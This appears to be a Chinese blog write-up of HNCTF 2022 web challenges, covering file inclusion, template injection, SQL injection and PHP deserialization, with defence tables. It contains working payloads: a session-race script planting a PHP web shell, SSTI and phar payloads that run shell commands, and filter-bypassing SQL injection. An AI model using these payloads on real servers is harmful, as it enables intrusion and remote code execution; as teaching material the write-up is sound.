news 2026/6/12 16:33:07

从HNCTF 2022 Web赛题看CTF入门:那些“一眼顶针”的Web安全考点到底在考什么?

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从HNCTF 2022 Web赛题看CTF入门:那些“一眼顶针”的Web安全考点到底在考什么?

从HNCTF 2022看Web安全实战:CTF竞赛中的高频漏洞攻防精要

第一次参加CTF比赛时,面对眼花缭乱的Web题目,我完全摸不着头脑——为什么修改一个参数就能拿到flag?为什么看似普通的文件上传能变成系统入侵?直到系统梳理了HNCTF 2022这类典型赛事中的Web题目,才发现这些"一眼顶针"的考点背后,隐藏着完整的Web安全知识体系。本文将带您穿透题面表象,构建从漏洞原理到实战利用的完整认知框架。

1. 文件包含漏洞:从基础绕过到高级利用

文件包含(LFI/RFI)常年占据CTF Web题Top3考点,HNCTF中就有四道相关题目。其核心在于服务端未对包含文件路径进行严格校验,导致任意文件读取或远程代码执行。

1.1 基础利用手法

最经典的php://filter利用出现在Interesting_include题目中:

?filter=php://filter/convert.base64-encode/resource=flag.php

这个payload揭示了文件包含的三大关键点:

  • 协议利用:php://filter等伪协议可绕过常规文件读取限制
  • 编码转换:base64编码避免特殊字符导致的解析失败
  • 路径探测:通过常见路径猜测(flag.php、index.php等)定位关键文件

1.2 高阶利用技巧

QAQ_1inclu4e题目展示了更复杂的session文件包含利用链:

  1. 临时文件竞争:通过上传大文件延长临时文件存在时间
  2. 会话注入:在PHP_SESSION_UPLOAD_PROGRESS中注入恶意代码
  3. 路径预测:默认session存储路径为/tmp/sess_[PHPSESSID]

典型攻击脚本结构:

def write(session): while True: # 持续写入包含恶意代码的session文件 filebytes = io.BytesIO(b'aaaa' * 1024 * 50) session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php system($_GET['cmd']);?>"}, files={'file': ('exploit.txt', filebytes)}) def read(session): while True: # 尝试包含生成的session文件 response = session.get(url+"?QAQ=/tmp/sess_"+sessid) if 'flag{' in response.text: print("[+] Exploit success!")

1.3 防御方案对比

防御措施有效性绕过方法
禁用特殊字符使用编码转换、超长路径截断
白名单校验协议混淆、参数污染
关闭allow_url_include仅能防御RFI,LFI仍存在
会话存储加密极高几乎无法直接利用

2. SSTI漏洞:模板注入的攻防艺术

服务端模板注入(SSTI)在ez_SSTIssssti题目中展现了强大危害性。当用户输入直接拼接到模板时,可能导致任意代码执行。

2.1 常见模板引擎检测

不同引擎的测试payload:

# Jinja2 {{ 7*7 }} → 49 # Twig {{ 7*'7' }} → 7777777 # Smarty {7*7} → 49

2.2 利用链构造

ez_SSTI题目的完整利用链:

?name={{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat f*').read()")}}

这个payload揭示了SSTI利用的关键路径:

  1. 对象属性遍历:通过__init__.__globals__访问全局命名空间
  2. 危险函数调用:获取__builtins__中的eval函数
  3. OS命令执行:通过import引入os模块执行系统命令

2.3 防御策略实践

  • 输入过滤:禁止_[{等特殊字符
  • 沙箱环境:使用受限的模板执行环境
  • 自动转义:开启模板引擎的自动HTML转义

3. SQL注入:从基础到无列名注入

SQL注入在easy_sqlfun_sql中展示了多种绕过技巧,反映了真实场景中的攻防对抗。

3.1 常见过滤绕过手法

easy_sql题目中的典型fuzz测试点:

被过滤字符绕过方式
空格/**/、%09、%a0
注释符(-- #)
关键词(union select)大小写混合、内联注释

3.2 无列名注入技巧

当information_schema被禁用时,可通过以下方式获取数据:

0'/**/union/**/select/**/1,2,`3`/**/from/**/ (select 1,2,3 union select * from flag)a/**/where/**/'1

关键步骤:

  1. 通过子查询构造临时表
  2. 使用反引号引用未知列名
  3. 通过位置参数获取特定列数据

3.3 新型SQLi防御方案

技术原理有效性
预编译语句分离SQL结构与数据★★★★★
RASP防护运行时SQL语法分析★★★★☆
语义分析检测非常规查询模式★★★☆☆

4. 反序列化漏洞:从POP链到phar利用

反序列化漏洞在easy_unserez_phar中展现了多种利用方式,是CTF中的高频难点。

4.1 POP链构造原理

pop子和pipi美为例的POP链构造过程:

class Popuko { private $No_893; public function __construct(){ $this->No_893 = "php://filter/convert.base64-encode/resource=f14g.php"; } } class Pipimi{ public $pipi; public function __construct(){ $this->p = new Popuko(); // 触发文件读取 } } class Goodsisters{ public $kiminonawa,$str; public function __construct(){ $this->str = new Pipimi(); // 初始化POP链 } }

4.2 phar协议利用

ez_phar题目展示了phar反序列化的完整流程:

  1. 构造恶意phar文件
class Flag{ public $code; } $o = new Flag(); $o->code = 'eval($_GET["a"]);'; $phar = new Phar("exploit.phar"); $phar->setMetadata($o); // 注入恶意对象
  1. 触发反序列化
?file=phar://uploads/exploit.phar/test.txt

4.3 防御方案对比

防御措施实现方式绕过难度
禁用unserialize使用json_decode★★★★★
签名校验验证phar文件签名★★★★☆
钩子检测__wakeup中校验对象★★☆☆☆

在真实渗透测试中,遇到一个使用phar扩展名的文件上传功能,通过修改文件头为GIF89a成功绕过内容检测,最终通过phar://协议触发反序列化获取服务器权限。这个案例让我深刻理解到防御phar攻击必须结合文件内容校验而不仅是扩展名检测。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/12 16:32:17

星露谷物语农场规划器:5分钟打造你的完美田园梦想

星露谷物语农场规划器&#xff1a;5分钟打造你的完美田园梦想 【免费下载链接】stardewplanner Stardew Valley farm planner 项目地址: https://gitcode.com/gh_mirrors/st/stardewplanner 星露谷物语农场规划器是一款专业的开源可视化设计工具&#xff0c;帮助玩家在浏…

作者头像 李华
网站建设 2026/6/12 16:30:56

如何快速掌握Move Mouse:Windows防休眠工具完全指南

如何快速掌握Move Mouse&#xff1a;Windows防休眠工具完全指南 【免费下载链接】movemouse Move Mouse is a simple piece of software that is designed to simulate user activity. 项目地址: https://gitcode.com/gh_mirrors/mo/movemouse 你是否曾经遇到过这样的困…

作者头像 李华
网站建设 2026/6/12 16:29:52

HTTP进化史:从1.0到3.0的核心变革

引言前面五篇我们讲了 HTTP 的报文结构、缓存、Cookie/Session/Token、HTTPS 加密和 TLS 握手。这些都是基于 HTTP/1.1 的。但 HTTP 已经发展了三十多年&#xff0c;从最初的 0.9 到如今的 3.0&#xff0c;经历了巨大变革。HTTP/1.1 最大的痛点是队头阻塞——一个连接上只能同时…

作者头像 李华
网站建设 2026/6/12 16:27:56

Bilibili-Old终极指南:3分钟找回经典B站界面,告别新版不适

Bilibili-Old终极指南&#xff1a;3分钟找回经典B站界面&#xff0c;告别新版不适 【免费下载链接】Bilibili-Old 恢复旧版Bilibili页面&#xff0c;为了那些念旧的人。 项目地址: https://gitcode.com/gh_mirrors/bi/Bilibili-Old 还在为B站新版界面感到陌生和不适吗&a…

作者头像 李华
网站建设 2026/6/12 16:23:56

突破百度网盘下载限制:macOS逆向工程实战指南

突破百度网盘下载限制&#xff1a;macOS逆向工程实战指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 百度网盘macOS插件通过逆向工程技术&#xff…

作者头像 李华